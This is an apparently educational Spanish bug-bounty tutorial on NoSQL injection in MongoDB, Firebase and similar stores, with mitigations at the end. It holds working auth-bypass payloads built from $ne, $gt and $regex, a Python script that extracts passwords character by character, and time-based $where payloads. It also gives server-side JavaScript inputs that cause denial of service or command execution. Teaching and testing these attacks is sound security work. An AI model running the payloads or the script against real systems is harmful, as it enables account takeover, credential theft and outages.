Respuesta rápida
NoSQL injection (NoSQLi) ocurre cuando inputs sin sanitizar acaban en queries de bases NoSQL. En MongoDB el vector más común es la inyección de operadores ($ne, $gt, $regex, $where) cuando el body acepta JSON y el código usa Model.find(req.body) directamente. Permite bypass de auth (encontrar al menos un usuario sin saber password), extracción blind via timing/regex, y a veces RCE en setups antiguos.
Contexto: por qué NoSQL es distinto
SQLi rompe la sintaxis del query. NoSQLi reemplaza valores con operadores que el motor interpreta de forma diferente.
Ejemplo en Express + Mongoose:
app.post('/login', async (req, res) => {
const user = await User.findOne(req.body); // ⚠️ pasa todo el body como filtro
if (user) return res.json({ ok: true });
});
Si el cliente manda:
{ "username": "admin", "password": { "$ne": "x" } }
La query se convierte en findOne({username: "admin", password: {$ne: "x"}}) → "encuentra el admin cuyo password no sea 'x'" → matchea cualquier admin con password ≠ "x" → bypass.
Auth bypass clásico
POST /login
Content-Type: application/json
{
"username": { "$gt": "" },
"password": { "$gt": "" }
}
$gt: "" matchea cualquier string. La query devuelve el primer usuario de la collection — frecuentemente admin si está en orden de creación.
Variantes a probar si la primera no funciona:
{ "username": { "$ne": null }, "password": { "$ne": null } }
{ "username": { "$regex": ".*" }, "password": { "$regex": ".*" } }
{ "username": "admin", "password": { "$ne": "" } }
{ "username": "admin", "password": { "$regex": ".*" } }
{ "$where": "1==1" }
Blind extraction con $regex
Cuando la app no devuelve datos directamente pero confirma "login OK / KO":
{ "username": "admin", "password": { "$regex": "^a.*" } }
Si responde 200 → password empieza por "a". Iterar carácter a carácter para extraer el password completo. Sin rate limiting, automatizable en minutos.
import requests, string
password = ""
charset = string.ascii_letters + string.digits + string.punctuation
while len(password) < 50:
for c in charset:
prefix = password + c
r = requests.post("https://target.tld/login", json={
"username": "admin",
"password": {"$regex": f"^{prefix}"}
})
if r.status_code == 200:
password += c
print(f"Found: {password}")
break
else:
break # No char matches → password completo
print(f"Final: {password}")
Time-based blind con $where
Si la app no devuelve diferentes status codes pero ejecuta $where con código JS:
{
"$where": "function() { if (this.username == 'admin' && this.password.match(/^a/)) sleep(5000); return true; }"
}
Mide latencia de la respuesta para detectar match. Útil cuando los responses son idénticos (silent server). Requiere $where habilitado (deshabilitado en MongoDB Atlas y configs modernas).
Inyección en endpoints GET (URL params)
Cuando el backend convierte query strings a operadores:
GET /users?username[$ne]=&password[$ne]=
Express con qs o body-parser extendido convierte automáticamente username[$ne]= en { username: { $ne: "" } }. Si el código pasa req.query directamente al find(), mismo bypass que el body.
Algunos frameworks (default Express qs en versions modernas) ya no parsean profundo. Verificar con:
?username[$ne]=admin
?username[%24ne]=admin (URL-encoded)
Operadores útiles para NoSQLi
| Operador | Uso |
|---|---|
$eq | Igualdad explícita |
$ne | No igual (matchea casi todo) |
$gt | Mayor que ("" matchea todos los strings) |
$lt | Menor que |
$in | Está en array |
$regex | Match por regex (extracción blind) |
$exists | Campo existe (true) o no (false) |
$where | JS arbitrario (deshabilitado en configs modernas) |
$expr | Aggregation expression (más potente) |
$or | Múltiples condiciones |
Otros engines
Firebase Realtime Database / Firestore
Firebase rules son la primera línea de defensa. Si las rules son read: true, write: true (default en quickstarts), la base es completamente abierta.
# Test con HTTP REST
curl https://target.firebaseio.com/.json
curl https://target.firebaseio.com/users.json
Lo que normalmente "se inyecta" en Firebase es acceso directo a paths que no deberían ser legibles. No es injection clásico — es broken access control en las rules.
CouchDB / Cassandra
Patrones similares cuando los queries se construyen dinámicamente con input del cliente. Menos común en bug bounty que MongoDB.
SSJI (Server-Side JavaScript Injection)
Si la app usa Mongo $where con código JS construido dinámicamente:
const code = `function() { return this.tag == "${userInput}"; }`;
db.collection.find({ $where: code });
Inyectando "; while(true){}; var x=", el JS resultante hace busy-loop → DoS. Con process.exit(), mata el worker. Con require('child_process').exec("...") en algunos contextos viejos → RCE.
Hunting checklist
- ¿El endpoint acepta JSON body? Probar
{ "username": { "$ne": null }, "password": { "$ne": null } }. - ¿El endpoint acepta query strings? Probar
?username[$ne]=. - ¿El framework parsea
[$op]automáticamente? Test con un campo claramente erróneo. - ¿El response cambia si la inyección "matchea"? → bypass directo.
- ¿Mismo response visualmente pero diferente timing? → blind via
$regex+sleep. - ¿Hay
$wherehabilitado? Probar JS injection. - ¿Firebase URL pública sin reglas?
curl https://<project>.firebaseio.com/.json. - ¿Endpoints de admin con búsqueda por filtros? Vector frecuente.
Mitigación correcta
- Whitelist de campos esperados. No
User.find(req.body)directamente — extrae solo{ username, password }explícitamente. - Validar tipo. Asegurarse de que
usernameypasswordson strings, no objetos. - Sanitizadores específicos (
mongo-sanitizepara Express). - Schemas con tipos estrictos (Mongoose con
type: String, required: true). - Deshabilitar
$whereen producción.
Labs relacionados
Practica auth bypass con $ne, blind extraction con $regex, y NoSQLi en GET params: labs de NoSQL Injection.
La checklist que repaso en cada objetivo nuevo
47 comprobaciones ordenadas por coste: primero lo que te puede meter en un lío, luego lo barato, y al final lo caro — que es donde están los bounties grandes. Te la mando al correo ahora mismo.
Te das de baja en un clic, desde cualquier correo.
Practica esto en un lab
Nosql Injection
Sigue aprendiendo · cuenta gratis
Guarda tu progreso, desbloquea payloads avanzados y rankea tus flags.
Artículos relacionados
SQL Injection — metodología completa con time-based, UNION y RCE
Detección por isomorphic queries, payloads time-based para 4 motores, escalación a RCE (xp_cmdshell, INTO OUTFILE, UDFs) y bypasses cross-field.
XSS contexts — payloads por contexto (HTML, atributo, JS, URL, CSS)
Cómo identificar el contexto exacto donde se inyecta tu input y los payloads que escapan cada uno: HTML body, atributo HTML, JS string, JS event, URL, CSS, JSON.
Command Injection — bypasses con espacio, encoding y backticks
Inyección de comandos en endpoints que pasan input al shell. Bypasses de filtros: ${IFS}, $@, ;|&, encoded null bytes, output redirection a archivo.
